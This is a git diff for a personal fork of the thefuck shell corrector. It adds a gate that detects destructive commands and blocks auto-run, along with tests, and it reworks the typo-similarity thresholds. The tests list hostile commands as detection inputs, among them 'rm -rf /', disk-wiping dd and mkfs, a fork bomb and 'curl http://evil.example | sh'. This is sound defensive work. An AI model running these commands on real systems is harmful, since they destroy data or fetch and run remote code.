diff --git a/tests/entrypoints/test_danger.py b/tests/entrypoints/test_danger.py new file mode 100644 index 0000000..a536875 --- /dev/null +++ b/tests/entrypoints/test_danger.py @@ -0,0 +1,114 @@ +"""Tests for the conservative destructive-command gate. + +Every assertion is an exact True/False pin: the gate decides whether +a corrected script may auto-run, so a soft truthiness check would +hide exactly the regression that matters. +""" +import pytest + +from thefuck import danger, shell_ast + +requires_ast = pytest.mark.skipif(not shell_ast.AST_AVAILABLE, + reason='bashlex is not available') + +DANGEROUS = [ + 'rm -rf /', + 'rm -r dir', + 'rm -fr dir', + 'rm -vrf dir', + 'rm -R dir', + 'rm -Rf dir', + 'rm --recursive dir', + 'rmdir -R dir', + 'sudo rm -rf /', + 'sudo rm -r /tmp/x', + 'dd if=/dev/zero of=/dev/sda', + 'sudo dd if=x of=y', + 'mkfs /dev/sda', + 'mkfs.ext4 /dev/sda', + 'shred secret.txt', + 'wipefs /dev/sda', + 'mkswap /dev/sda', + 'git push --force origin main', + 'git push -f', + 'sudo git push --force origin main', + 'chmod -R 777 /', + 'chmod -R 0777 dir', + 'sudo chmod -R 777 /', + 'chown -R 777 file', + 'kill -9 1234', + 'sudo kill -9 1', + ':(){ :|:& };:', + ': () { : | : & };:', + 'curl http://evil.example | sh', + 'curl http://evil.example|bash', + 'curl http://evil.example | sudo sh', + 'echo hi | zsh', + 'echo hi | dash', + 'echo hi > ~/.bashrc', + 'echo hi > out.txt', + 'x 2> /var/log/app.log', + 'echo $(rm -rf /)', + 'cd /tmp && git push --force origin main', +] + +BENIGN = [ + 'ls', + 'sudo vim file', + 'git push origin main', + 'git push --force-with-lease origin main', + 'git push --force-with-lease', + 'rm file.txt', + 'chmod 644 file', + 'chmod -R 755 dir', + 'kill 1234', + 'echo hi > /dev/null', + 'echo hi 2>/dev/null', + 'echo hi >> /dev/null', + 'x > /tmp/y', + 'x > /tmp', + 'x 2>&1', + 'cat < /dev/null; rm -rf /') is True + + def test_all_redirects_whitelisted_is_benign(self): + assert danger.is_dangerous( + 'echo hi > /dev/null && x > /tmp/y') is False diff --git a/tests/entrypoints/test_fix_command_learned.py b/tests/entrypoints/test_fix_command_learned.py index 2a8dd07..4130dbf 100644 --- a/tests/entrypoints/test_fix_command_learned.py +++ b/tests/entrypoints/test_fix_command_learned.py @@ -1,5 +1,6 @@ import pytest from mock import Mock, patch +from thefuck import danger as real_danger from thefuck.entrypoints.fix_command import fix_command from thefuck.types import CorrectedCommand @@ -8,6 +9,14 @@ from thefuck.types import CorrectedCommand def mock_learned(monkeypatch): state = {"correction": None, "guess": None, "history": None, "help": None, "recordings": [], "calls": []} + # The real gate fail-safes to True without bashlex, which would + # make every auto-apply test platform-dependent; the danger + # override tests re-install the real module. + fake_danger = Mock() + fake_danger.is_dangerous.return_value = False + monkeypatch.setattr( + "thefuck.entrypoints.fix_command.danger", fake_danger + ) def fake_get_correction(script): state["calls"].append("correction") @@ -121,7 +130,7 @@ class TestGuessAutoApply(object): def test_exact_learned_wins_over_guess( self, mock_learned, known_args, settings, monkeypatch ): - mock_learned["correction"] = "git push --force origin main" + mock_learned["correction"] = "git push origin dev" mock_learned["guess"] = "git push origin main" with patch("thefuck.types.CorrectedCommand.run"), patch( @@ -129,7 +138,7 @@ class TestGuessAutoApply(object): ) as mock_show: fix_command(known_args) shown_cmd = mock_show.call_args[0][0] - assert shown_cmd.script == "git push --force origin main" + assert shown_cmd.script == "git push origin dev" assert mock_learned["recordings"] == [] @@ -214,6 +223,40 @@ class TestResolverAutoApply(object): ] +class TestDangerOverride(object): + @pytest.mark.parametrize( + "hit_source", ["correction", "history", "guess", "help"]) + def test_dangerous_hit_asks_instead_of_auto_running( + self, mock_learned, known_args, settings, monkeypatch, hit_source + ): + # The real gate: a danger-flagged candidate from ANY source — + # a seeded learned-db exact hit included — reaches + # select_command and nothing auto-runs. The abort via the + # mocked selection keeps the pin free of terminal IO. + monkeypatch.setattr( + "thefuck.entrypoints.fix_command.danger", real_danger + ) + mock_learned[hit_source] = "rm -rf /" + select = Mock(return_value=None) + monkeypatch.setattr( + "thefuck.entrypoints.fix_command.get_corrected_commands", + lambda _: iter([]), + ) + monkeypatch.setattr( + "thefuck.entrypoints.fix_command.select_command", select + ) + + with patch("thefuck.types.CorrectedCommand.run") as mock_run, patch( + "thefuck.logs.show_corrected_command" + ) as mock_show: + with pytest.raises(SystemExit): + fix_command(known_args) + + select.assert_called_once() + mock_run.assert_not_called() + mock_show.assert_not_called() + + class TestRecordOnSelection(object): def test_records_user_selection( self, mock_learned, known_args, settings, monkeypatch diff --git a/tests/resolvers/test_help_resolver.py b/tests/resolvers/test_help_resolver.py index 5f5881f..4c9c586 100644 --- a/tests/resolvers/test_help_resolver.py +++ b/tests/resolvers/test_help_resolver.py @@ -96,21 +96,31 @@ def test_returns_correction_when_subcommand_misspelled( def test_corrects_transposed_subcommand(fake_bin, argv_log, enable_cache): - # bulid -> build scores 2 * 4 / 10 = 0.8, right at the cutoff, - # and is also a single transposition (li <-> il). + # bulid -> build is a single adjacent transposition (li <-> il), + # so the length-scaled floor admits it on the single-edit path. fake_bin('fake') assert get_help_correction('fake bulid .') == 'fake build .' assert typo.single_edit('bulid', 'build') -def test_corrects_transposition_under_cutoff( +def test_corrects_transposition_via_single_edit( fake_bin, argv_log, enable_cache): - # psuh -> push scores 2 * 3 / 8 = 0.75, under the cutoff, so only - # the first-char-equal single-edit match fixes it. + # psuh -> push scores 2 * 3 / 8 = 0.75, so only the single-edit + # path of the floor admits it. fake_bin('fake', commands=('push', 'build', 'clean')) assert get_help_correction('fake psuh x') == 'fake push x' +def test_declines_subcommand_below_scaled_floor( + fake_bin, argv_log, enable_cache): + # 10-char subcommand vs the listed 'burnno1234' scores + # 2 * 6 / 20 = 0.6, under the len-10 floor 0.7, and is not a + # single edit; no listed subcommand is close enough. + fake_bin('fake', commands=('burnno1234', 'build', 'clean')) + assert get_help_correction('fake burnnoabcd') is None + assert _spawned(argv_log) == ['--help'] + + def test_respawns_when_binary_mtime_changes( fake_bin, argv_log, enable_cache): path = fake_bin('fake') diff --git a/tests/resolvers/test_history_resolver.py b/tests/resolvers/test_history_resolver.py index 8ebaa2a..0387983 100644 --- a/tests/resolvers/test_history_resolver.py +++ b/tests/resolvers/test_history_resolver.py @@ -5,12 +5,13 @@ import pytest from thefuck import shell_ast, typo from thefuck.resolvers.history_resolver import ( _CANDIDATES, - _TOKEN_CUTOFF, _prefilter, get_history_correction, ) from thefuck.types import Command +_LEN30 = 'abcdefghijklmnopqrstuvwxyz0123' + pytestmark = pytest.mark.usefixtures('no_memoize') requires_ast = pytest.mark.skipif(not shell_ast.AST_AVAILABLE, @@ -44,19 +45,19 @@ def test_corrects_two_diverged_tokens_across_segments(history): @requires_ast def test_corrects_transposed_tokens_under_ratio_cutoff(history): - # psuh -> push and greo -> grep both score 2 * 3 / 8 = 0.75, - # under _TOKEN_CUTOFF, but each is a first-char-equal single - # transposition, which the token gate accepts alongside the - # ratio. + # psuh -> push and greo -> grep each are a first-char-equal + # single transposition, which the length-scaled floor accepts + # alongside the ratio path. history(['git push | grep -i foo']) command = Command('git psuh | greo -i foo', '') assert get_history_correction(command) == 'git push | grep -i foo' -def test_declines_token_just_below_cutoff(history): +def test_declines_token_below_length_scaled_floor(history): # '--ignore-whitespaces' vs '--ignore-all-spaces' scores - # 2 * 15 / 39 = 0.769 (under _TOKEN_CUTOFF) AND spans two edits - # (pinned below), so even the amended single-edit gate declines. + # 2 * 15 / 39 = 0.769, under the len-20 floor 1 - 3/20 = 0.85, + # AND spans two edits (pinned in test_typo.py), so every gate + # path declines. history(['git diff --ignore-all-spaces HEAD']) command = Command('git diff --ignore-whitespaces HEAD', '') assert get_history_correction(command) is None @@ -64,20 +65,36 @@ def test_declines_token_just_below_cutoff(history): '--ignore-all-spaces') -def test_token_cutoff_boundary_arithmetic(): - # 20 + 19 chars with 15 matched: 2 * 15 / 39 = 0.769..., i.e. - # above the 0.75 the declined flagship typos score but strictly - # under _TOKEN_CUTOFF, so the boundary is provably tight. - ratio = difflib.SequenceMatcher( - None, '--ignore-whitespaces', '--ignore-all-spaces').ratio() - assert 0.75 <= ratio < _TOKEN_CUTOFF +def test_token_floor_boundary_arithmetic(): + # Length-scaled token floors pinned at three lengths: max-len 3 + # -> 0.6, 10 -> 0.7, 30 -> 0.9. Each passing pair sits exactly at + # its floor; each declining pair provably below it. + assert difflib.SequenceMatcher( + None, 'abc', 'abz').ratio() >= 0.6 + assert typo.floor_ok('abc', 'abz') + assert difflib.SequenceMatcher( + None, 'abcdefghij', 'abcdefgxyz').ratio() >= 0.7 + assert typo.floor_ok('abcdefghij', 'abcdefgxyz') + assert difflib.SequenceMatcher( + None, _LEN30, _LEN30[:27] + '456').ratio() >= 0.9 + assert typo.floor_ok(_LEN30, _LEN30[:27] + '456') -def test_declines_three_diverged_tokens(history): - # Every pair alone passes the token cutoff (0.833, 0.909 and - # 0.8), so only the max-diverged gate rejects this candidate. +def test_corrects_three_diverged_tokens(history): + # Token eligibility is per-token, not counted: each diverged + # token only needs to pass the length-scaled floor (single + # edits here), so one history line corrects them all. history(['docker status branch build']) command = Command('docker statuz brnch bilud', '') + assert get_history_correction(command) == 'docker status branch build' + + +def test_declines_long_token_below_scaled_floor(history): + # 17-char flags with 5 trailing substitutions score ~0.706, + # under the len-17 floor 1 - 3/17 ~ 0.824, and the pair is not a + # single edit, so the token gate declines the candidate. + history(['git diff --flagabcdefhijk']) + command = Command('git diff --flagabcdefuvwxy', '') assert get_history_correction(command) is None diff --git a/tests/test_learned.py b/tests/test_learned.py index 95be0d9..5ccfc12 100644 --- a/tests/test_learned.py +++ b/tests/test_learned.py @@ -149,9 +149,23 @@ class TestGuessFromPath(object): path_bins(executables=['top']) assert learned.guess_from_path('htop') is None - def test_returns_none_below_cutoff(self, learned, path_bins): - path_bins(executables=['grep', 'sed', 'awk']) - assert learned.guess_from_path('total') is None + def test_returns_none_below_length_scaled_floor(self, learned, + path_bins): + # 10-char token vs executable sharing only the 6 leading + # chars scores 2 * 6 / 20 = 0.6, under the len-10 floor 0.7, + # and the pair is not a single edit. + path_bins(executables=['burnnoabcd']) + assert learned.guess_from_path('burnno1234 file') is None + + def test_guesses_via_ratio_above_scaled_floor(self, learned, + path_bins): + # Three trailing substitutions score exactly the len-10 + # floor 0.7 — a pair the old fixed 0.8 cutoff declined — and + # no other executable shares the first char, so the ratio + # path alone admits the match. + path_bins(executables=['abcdefgxyz', 'grep', 'sed']) + assert (learned.guess_from_path('abcdefghij file') + == 'abcdefgxyz file') def test_guesses_after_sudo(self, learned, path_bins): path_bins(executables=['clear', 'grep', 'sed']) @@ -180,11 +194,10 @@ class TestGuessFromPathSegments(object): assert (learned.guess_from_path('gi psuh | gre -i foo') == 'git psuh | grep -i foo') - def test_fixes_single_edit_typos_under_cutoff(self, learned, - path_bins): + def test_fixes_single_edit_typos(self, learned, path_bins): # gti -> git scores 2 * 2 / 6 = 0.667 and greo -> grep scores - # 2 * 3 / 8 = 0.75, both under GUESS_CUTOFF; each is still a - # first-char-equal single edit with one executable match. + # 2 * 3 / 8 = 0.75; each is a first-char-equal single edit + # with one executable match. path_bins(executables=['git', 'grep', 'sed']) assert (learned.guess_from_path('gti psuh | greo -i foo') == 'git psuh | grep -i foo') diff --git a/tests/test_typo.py b/tests/test_typo.py index 4048005..14d5b2f 100644 --- a/tests/test_typo.py +++ b/tests/test_typo.py @@ -1,4 +1,8 @@ -from thefuck.typo import single_edit +from difflib import SequenceMatcher + +from thefuck.typo import floor_ok, single_edit + +_LEN30 = 'abcdefghijklmnopqrstuvwxyz0123' class TestSubstitution(object): @@ -82,3 +86,57 @@ class TestBoundaries(object): # amended gate still declines it. assert not single_edit('--ignore-whitespaces', '--ignore-all-spaces') + + +class TestFloorOk(object): + def test_len3_floor_passes(self): + # max length 3 -> floor max(0.6, 1 - 3/3) = 0.6; the plain + # substitution scores 2 * 2 / 6 = 0.667. + assert SequenceMatcher(None, 'abc', 'abz').ratio() >= 0.6 + assert floor_ok('abc', 'abz') + + def test_len3_below_floor_declines(self): + # Two substitutions score 0.333, under the 0.6 floor. + assert SequenceMatcher(None, 'axx', 'ayy').ratio() < 0.6 + assert not floor_ok('axx', 'ayy') + + def test_len10_floor_passes(self): + # max length 10 -> floor 1 - 3/10 = 0.7; three trailing + # substitutions keep 7 matches: exactly 2 * 7 / 20 = 0.7. + assert SequenceMatcher( + None, 'abcdefghij', 'abcdefgxyz').ratio() >= 0.7 + assert floor_ok('abcdefghij', 'abcdefgxyz') + + def test_len10_below_floor_declines(self): + # Four trailing substitutions score 0.6, under 0.7. + assert SequenceMatcher( + None, 'abcdefghij', 'abcdefwxyz').ratio() < 0.7 + assert not floor_ok('abcdefghij', 'abcdefwxyz') + + def test_len30_floor_passes(self): + # max length 30 -> floor 1 - 3/30 = 0.9; three trailing + # substitutions keep 27 matches: exactly 2 * 27 / 60 = 0.9. + assert SequenceMatcher( + None, _LEN30, _LEN30[:27] + '456').ratio() >= 0.9 + assert floor_ok(_LEN30, _LEN30[:27] + '456') + + def test_len30_below_floor_declines(self): + # Four trailing substitutions score ~0.867, under 0.9. + assert SequenceMatcher( + None, _LEN30, _LEN30[:26] + '4567').ratio() < 0.9 + assert not floor_ok(_LEN30, _LEN30[:26] + '4567') + + def test_single_edit_always_passes(self): + assert floor_ok('gti', 'git') + assert floor_ok('psuh', 'push') + assert floor_ok('clea', 'clear') + assert floor_ok('clear', 'clea') + + def test_first_char_mismatch_always_fails(self): + # The first-letter guard holds for the ratio path and the + # single-edit path alike. + assert SequenceMatcher(None, 'abcd', 'zbcd').ratio() >= 0.6 + assert not floor_ok('abcd', 'zbcd') + assert single_edit('abz', 'bbz') + assert not floor_ok('abz', 'bbz') + assert not floor_ok('ls', 'sl') diff --git a/thefuck/danger.py b/thefuck/danger.py new file mode 100644 index 0000000..8acb7a1 --- /dev/null +++ b/thefuck/danger.py @@ -0,0 +1,135 @@ +"""Conservative destructive-command detection for the auto-run gate. + +`is_dangerous(script)` answers True whenever a script must not run +without confirmation. Parsing goes through bashlex directly: when +bashlex is unavailable or refuses the script the answer is True +(fail-safe), because the flat fallback is head-only and would miss +compound shapes such as `echo $((1+1)); rm -rf /`. + +False positives (asking more often) are acceptable; false negatives +in the listed shapes are not. + +Personal fork only: depends on bashlex (GPL-3+), do not distribute. +""" +import re + +from . import shell_ast + +_RECURSIVE_FLAG = re.compile(r'^-[a-zA-Z]*[rR]') +_OCTAL_MODE = re.compile(r'^[0-7]{3,4}$') +_PIPE_SHELLS = frozenset(('sh', 'bash', 'zsh', 'dash')) +_DESTRUCTIVE_HEADS = frozenset(('dd', 'shred', 'wipefs', 'mkswap')) + + +def is_dangerous(script): + """Returns True when `script` must be confirmed, never auto-run.""" + if ':(){' in script or ': () {' in script: + return True + if not shell_ast.AST_AVAILABLE: + return True + try: + trees = shell_ast.bashlex.parse(script) + except shell_ast._FALLBACK_ERRORS: + return True + collector = _DangerCollector(script) + for tree in trees: + collector.visit(tree) + for words, pipe_tail in collector.commands: + if _words_dangerous(words, pipe_tail): + return True + return _redirects_dangerous(collector.redirect_targets) + + +def _words_dangerous(words, pipe_tail): + """Matches one command's (sudo-stripped) words against the shapes.""" + while len(words) > 1 and words[0] == 'sudo': + words = words[1:] + if not words: + return False + head, args = words[0], words[1:] + if head in ('rm', 'rmdir'): + return any(_RECURSIVE_FLAG.match(arg) or arg == '--recursive' + for arg in args) + if head in _DESTRUCTIVE_HEADS or head.startswith('mkfs'): + return True + if head == 'git' and args[:1] == ['push']: + return any(arg in ('--force', '-f') for arg in args[1:]) + if head in ('chmod', 'chown'): + return (any(_RECURSIVE_FLAG.match(arg) for arg in args) + and any(_OCTAL_MODE.match(arg) + and set(arg[-3:]) <= set('67') for arg in args)) + if head == 'kill': + return any(arg.startswith('-9') for arg in args) + return pipe_tail and head in _PIPE_SHELLS + + +def _redirects_dangerous(targets): + """Any redirect aimed at a file outside /tmp and /dev/null.""" + for target in targets: + if target == '/dev/null': + continue + if target == '/tmp' or target.startswith('/tmp/'): + continue + return True + return False + + +def _unquote(word): + if len(word) > 1 and word[0] == word[-1] and word[0] in ('"', "'"): + return word[1:-1] + return word + + +def _redirect_target(part): + """Returns a redirect's quote-stripped file target, or None. + + Heredocs are not file overwrites, and fd duplications like + `2>&1` differ structurally: bashlex hands them a plain string + where file targets are word nodes. + """ + if part.type.startswith('<<'): + return None + output = part.output + if not isinstance(output, _NODE_CLASS): + return None + return _unquote(output.word) + + +if shell_ast.AST_AVAILABLE: + _NODE_CLASS = shell_ast.bashlex.ast.node + + class _DangerCollector(shell_ast.bashlex.ast.nodevisitor): + """Collects command words and redirect targets from a tree. + + Unlike `shell_ast._SegmentCollector` (which skips redirect + parts by design) this visitor keeps their targets, and by + descending into command parts it also sees nested commands + inside substitutions such as `echo $(rm -rf /)`. + """ + + def __init__(self, script): + self.script = script + self.commands = [] + self.redirect_targets = [] + self._pipe_tail_ids = set() + + def visitpipeline(self, node, parts): + commands = [part for part in parts + if part.kind == 'command'] + self._pipe_tail_ids.update( + id(part) for part in commands[1:]) + return True + + def visitcommand(self, node, parts): + words = [] + for part in parts: + if part.kind == 'word': + words.append(_unquote( + self.script[part.pos[0]:part.pos[1]])) + elif part.kind == 'redirect': + target = _redirect_target(part) + if target is not None: + self.redirect_targets.append(target) + self.commands.append( + (words, id(node) in self._pipe_tail_ids)) + return True diff --git a/thefuck/entrypoints/fix_command.py b/thefuck/entrypoints/fix_command.py index cd63533..dfd49bd 100644 --- a/thefuck/entrypoints/fix_command.py +++ b/thefuck/entrypoints/fix_command.py @@ -2,7 +2,7 @@ from pprint import pformat import os import sys from difflib import SequenceMatcher -from .. import logs, types, const +from .. import danger, logs, types, const from ..conf import settings from ..corrector import get_corrected_commands from ..exceptions import EmptyCommand @@ -61,6 +61,10 @@ def fix_command(known_args): logs.debug("Corrected from binary help: {}".format( learned_script)) record(command.script, learned_script) + if learned_script and danger.is_dangerous(learned_script): + logs.debug("Refusing to auto-run dangerous correction, " + "asking instead: {}".format(learned_script)) + learned_script = None if learned_script: learned_cmd = types.CorrectedCommand( script=learned_script, side_effect=None, priority=0 diff --git a/thefuck/learned.py b/thefuck/learned.py index b3de076..c78d561 100644 --- a/thefuck/learned.py +++ b/thefuck/learned.py @@ -2,7 +2,6 @@ import atexit import os import shelve import time -from difflib import get_close_matches from . import logs, shell_ast, typo from .utils import get_all_executables, which @@ -20,9 +19,6 @@ except ImportError: _shelve_open_error = () -GUESS_CUTOFF = 0.8 - - class LearnedCorrections(object): def __init__(self): self._db = None @@ -165,15 +161,11 @@ class LearnedCorrections(object): if not token or '/' in token or '.' in token or which(token): continue executables = get_all_executables() - # The ratio cutoff underrates transpositions (gti -> git - # at 0.667), so same-first-char single edits join the - # difflib candidates; exactly one distinct survivor wins. - candidates = set(cmd for cmd in get_close_matches( - token, executables, n=5, cutoff=GUESS_CUTOFF) - if cmd.startswith(token[0])) - candidates.update(cmd for cmd in executables - if cmd[:1] == token[:1] - and typo.single_edit(token, cmd)) + # Length-scaled floor (single edits and close ratios, + # see `typo.floor_ok`); exactly one distinct survivor + # wins. + candidates = set(cmd for cmd in executables + if typo.floor_ok(token, cmd)) if len(candidates) != 1: continue replacements.append((start, end, candidates.pop())) diff --git a/thefuck/resolvers/help_resolver.py b/thefuck/resolvers/help_resolver.py index a6c4bd3..be325c1 100644 --- a/thefuck/resolvers/help_resolver.py +++ b/thefuck/resolvers/help_resolver.py @@ -16,15 +16,12 @@ Personal fork only: depends on bashlex (GPL-3+), do not distribute. """ import os import subprocess -from difflib import get_close_matches from thefuck import shell_ast, typo from thefuck.utils import cache, which -_CUTOFF = 0.8 _TIMEOUT = 2 -_MATCHES = 5 _SECTION_HEADERS = ('Commands:', 'Management Commands:', 'Available Commands:') @@ -72,15 +69,10 @@ def _token_replacement(word, binary_name, binary_path): token, start, end = word if token in commands: return None - # Same gate shape as learned.guess_from_path: difflib candidates - # plus same-first-char single edits (transpositions score under - # the cutoff), exactly one distinct survivor. - matches = set(match for match in get_close_matches( - token, commands, n=_MATCHES, cutoff=_CUTOFF) - if match.startswith(token[0])) - matches.update(command for command in commands - if command[:1] == token[:1] - and typo.single_edit(token, command)) + # Same gate shape as learned.guess_from_path: length-scaled + # floor (see `typo.floor_ok`), exactly one distinct survivor. + matches = set(command for command in commands + if typo.floor_ok(token, command)) if len(matches) != 1: return None return start, end, matches.pop() diff --git a/thefuck/resolvers/history_resolver.py b/thefuck/resolvers/history_resolver.py index 04687c1..290b50b 100644 --- a/thefuck/resolvers/history_resolver.py +++ b/thefuck/resolvers/history_resolver.py @@ -1,9 +1,10 @@ """History-similarity resolver with correction-only auto-run gates. Corrects a failed script from a structurally-aligned history command -when exactly one candidate differs in at most a couple of highly -similar tokens; anything looser or ambiguous is declined so the -existing `history` rule keeps offering choices instead of auto-running. +when exactly one candidate differs only in tokens that each pass a +length-scaled similarity floor (`typo.floor_ok`); anything looser or +ambiguous is declined so the existing `history` rule keeps offering +choices instead of auto-running. """ import difflib @@ -12,8 +13,6 @@ from thefuck.utils import get_valid_history_without_current _PREFILTER_CUTOFF = 0.5 _CANDIDATES = 10 -_MAX_DIVERGED = 2 -_TOKEN_CUTOFF = 0.8 def get_history_correction(command): @@ -57,28 +56,13 @@ def _prefilter(script, history): return [line for _, line in scored[:_CANDIDATES]] -def _similar(token, candidate_token): - """Returns True when a diverged token pair passes the similarity gate. - - The ratio cutoff accepts substitutions; `single_edit` adds the - adjacent transpositions the ratio underrates (psuh -> push at - 0.75) while keeping every two-edit pair out. The first-char - equality keeps the single-edit path as narrow as the typo - intent: a slipped key, not a different word. - """ - return (difflib.SequenceMatcher( - None, token, candidate_token).ratio() >= _TOKEN_CUTOFF - or (token[:1] == candidate_token[:1] - and typo.single_edit(token, candidate_token))) - - def _correct(script, segments, candidate): """Returns the spliced correction when candidate passes every gate. - The gates: identical segment and per-segment token counts, at - most `_MAX_DIVERGED` diverged tokens, every diverged pair - similar enough (see `_similar`), and a candidate different from - the script itself. + The gates: identical segment and per-segment token counts, every + diverged token pair similar enough (length-scaled floor, see + `typo.floor_ok` — diverged tokens are gated per-token, not + counted), and a candidate different from the script itself. """ if candidate == script: return None @@ -95,9 +79,7 @@ def _correct(script, segments, candidate): candidate_token = candidate_word[0] if token == candidate_token: continue - if len(replacements) >= _MAX_DIVERGED: - return None - if not _similar(token, candidate_token): + if not typo.floor_ok(token, candidate_token): return None replacements.append((start, end, candidate_token)) if not replacements: diff --git a/thefuck/typo.py b/thefuck/typo.py index 2c99010..e5c2081 100644 --- a/thefuck/typo.py +++ b/thefuck/typo.py @@ -1,10 +1,32 @@ -"""Single-edit (Damerau distance 1) typo predicate. +"""Single-edit (Damerau distance 1) typo predicate and +length-scaled similarity floors. `difflib.SequenceMatcher` rates adjacent transpositions (gti -> git) well below similarity cutoffs that accept substitutions, so gates that only use the ratio decline the most common keyboard slips. Callers accept `single_edit(a, b)` matches as an additional path. """ +from difflib import SequenceMatcher + + +def floor_ok(a, b): + """Returns True when `b` is a close-enough correction of `a`. + + The required ratio rises with word length, + `max(0.6, 1 - 3.0 / max(len(a), len(b), 3))` (the minimum of 3 + only guards the division for the shortest words): zsh's spdist + admits len/4 + 1 errors and nushell's did_you_mean a third of + the length, while a fixed cutoff over-admits long words and a + bare single-edit cap under-admits them. Single edits always + pass, and the first character must match so a correction stays + a typo fix of the same word, not a jump to a different one. + """ + if a[:1] != b[:1]: + return False + if single_edit(a, b): + return True + floor = max(0.6, 1 - 3.0 / max(len(a), len(b), 3)) + return SequenceMatcher(None, a, b).ratio() >= floor def single_edit(a, b):